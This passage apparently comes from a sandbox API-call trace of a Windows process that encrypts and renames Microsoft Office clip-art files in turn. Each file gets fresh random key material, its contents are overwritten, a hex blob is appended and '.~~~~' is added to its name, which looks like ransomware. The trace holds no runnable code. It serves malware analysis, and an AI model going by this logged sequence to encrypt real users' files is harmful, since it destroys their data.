	[0106.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.522] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.522] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.523] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.523] CloseHandle (hObject=0x130) returned 1
	[0106.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28e0060
	[0106.523] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf.~~~~")) returned 1
	[0106.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0060 | out: hHeap=0x300000) returned 1
	[0106.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.524] GetLastError () returned 0x0
	[0106.594] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.604] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.604] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.604] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22659461106) returned 1
	[0106.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa9385790, dwHighDateTime=0x1d60e1e)) 
	[0106.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2c28
	[0106.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2c28 | out: hHeap=0x300000) returned 1
	[0106.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873d20
	[0106.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.605] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.606] GetLastError () returned 0x0
	[0106.606] GetLastError () returned 0x0
	[0106.606] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.606] GetLastError () returned 0x0
	[0106.606] GetLastError () returned 0x0
	[0106.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff8768, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.611] WriteFile (in: hFile=0x130, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x7898, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x7898, lpOverlapped=0x0) returned 1
	[0106.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0106.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.613] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.613] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.613] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.613] CloseHandle (hObject=0x130) returned 1
	[0106.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.614] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf.~~~~")) returned 1
	[0106.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.615] GetLastError () returned 0x0
	[0106.615] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.617] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.617] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.617] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22660760990) returned 1
	[0106.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa9385790, dwHighDateTime=0x1d60e1e)) 
	[0106.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2bf0
	[0106.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2bf0 | out: hHeap=0x300000) returned 1
	[0106.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873ac0
	[0106.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.618] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.619] GetLastError () returned 0x0
	[0106.619] GetLastError () returned 0x0
	[0106.619] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.619] GetLastError () returned 0x0
	[0106.619] GetLastError () returned 0x0
	[0106.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff2944, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.623] WriteFile (in: hFile=0x130, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0xd6bc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0xd6bc, lpOverlapped=0x0) returned 1
	[0106.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0106.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.625] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.625] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.625] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.625] CloseHandle (hObject=0x130) returned 1
	[0106.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.625] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf.~~~~")) returned 1
	[0106.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.627] GetLastError () returned 0x0
	[0106.628] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.630] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.630] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.630] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22662185508) returned 1
	[0106.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa93ab8f0, dwHighDateTime=0x1d60e1e)) 
	[0106.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2bb8
	[0106.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2bb8 | out: hHeap=0x300000) returned 1
	[0106.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873e50
	[0106.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.633] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.633] GetLastError () returned 0x0
	[0106.633] GetLastError () returned 0x0
	[0106.633] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.633] GetLastError () returned 0x0
	[0106.633] GetLastError () returned 0x0
	[0106.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff765c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.638] WriteFile (in: hFile=0x130, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x89a4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x89a4, lpOverlapped=0x0) returned 1
	[0106.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0106.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.639] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.639] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.639] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.639] CloseHandle (hObject=0x130) returned 1
	[0106.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.640] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.~~~~")) returned 1
	[0106.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.641] GetLastError () returned 0x0
	[0106.641] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.643] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.643] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.643] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22663314037) returned 1
	[0106.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa93d1a50, dwHighDateTime=0x1d60e1e)) 
	[0106.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286db40
	[0106.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286db40 | out: hHeap=0x300000) returned 1
	[0106.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873ee8
	[0106.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.644] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.644] GetLastError () returned 0x0
	[0106.644] GetLastError () returned 0x0
	[0106.644] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.645] GetLastError () returned 0x0
	[0106.645] GetLastError () returned 0x0
	[0106.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffbd2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.647] WriteFile (in: hFile=0x130, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x42d1, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x42d1, lpOverlapped=0x0) returned 1
	[0106.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0106.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.649] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.649] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.649] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.649] CloseHandle (hObject=0x130) returned 1
	[0106.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.649] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.~~~~")) returned 1
	[0106.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.650] GetLastError () returned 0x0
	[0106.651] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.652] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.652] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.653] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22664279878) returned 1
	[0106.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa93f7bb0, dwHighDateTime=0x1d60e1e)) 
	[0106.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286db78
	[0106.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286db78 | out: hHeap=0x300000) returned 1
	[0106.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873f80
	[0106.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.653] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.654] GetLastError () returned 0x0
	[0106.654] GetLastError () returned 0x0
	[0106.654] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.654] GetLastError () returned 0x0
	[0106.654] GetLastError () returned 0x0
	[0106.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffc16f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
